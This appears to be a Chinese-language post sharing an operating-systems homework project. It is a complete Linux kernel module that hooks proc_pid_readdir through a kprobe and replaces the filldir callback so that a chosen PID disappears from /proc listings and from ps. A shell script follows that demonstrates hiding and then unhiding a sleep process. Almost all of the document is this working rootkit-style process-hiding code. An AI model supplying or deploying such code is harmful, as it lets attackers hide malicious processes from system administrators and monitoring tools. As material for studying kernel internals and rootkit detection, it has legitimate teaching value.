这是我们操作系统的大作业。
原理就是inline hook 那个 proc 文件系统,根目录下的 readdir 的函数。
替换掉第三个参数,filldir。
代码爆短,60来行。
Ubuntu 10.04 测试可用。
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/fs.h>
int register_kprobe(struct kprobe *kp);
static struct kprobe kp = {
.symbol_name = "proc_pid_readdir",
};
static filldir_t old_filldir;
static int pid;
module_param(pid, int, 0744);
static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
u64 ino, unsigned int d_type)
{
int p;
sscanf(name, "%d", &p);
if (p == pid)
return 0;
return old_filldir(__buf, name, namlen, offset, ino, d_type);
}
/**//* kprobe pre_handler: called just before the probed instruction is executed */
static int handler_pre(struct kprobe *pr, struct pt_regs *regs)
{
old_filldir = (filldir_t)regs->cx;
regs->cx = (typeof(regs->cx))filldir;
return 0;
}
static int __init k_init(void)
{
int ret;
kp.pre_handler = handler_pre;
ret = register_kprobe(&kp);
if (ret < 0) {
printk(KERN_INFO "register_kprobe failed, returned %d\n", ret);
return ret;
}
printk(KERN_INFO "Planted kprobe at %p; pid %d\n", kp.addr, pid);
return 0;
}
static void __exit k_exit(void)
{
unregister_kprobe(&kp);
printk(KERN_INFO "kprobe at %p unregistered\n", kp.addr);
}
module_init(k_init);
module_exit(k_exit);
MODULE_LICENSE("GPL");
sleep 1000 &
pid=`jobs -p`
echo 'before hide'
ps aux | grep $pid
insmod k.ko pid=$pid
echo 'after hide'
ps aux | grep $pid
rmmod k.ko
echo 'after unhide'
ps aux | grep $pid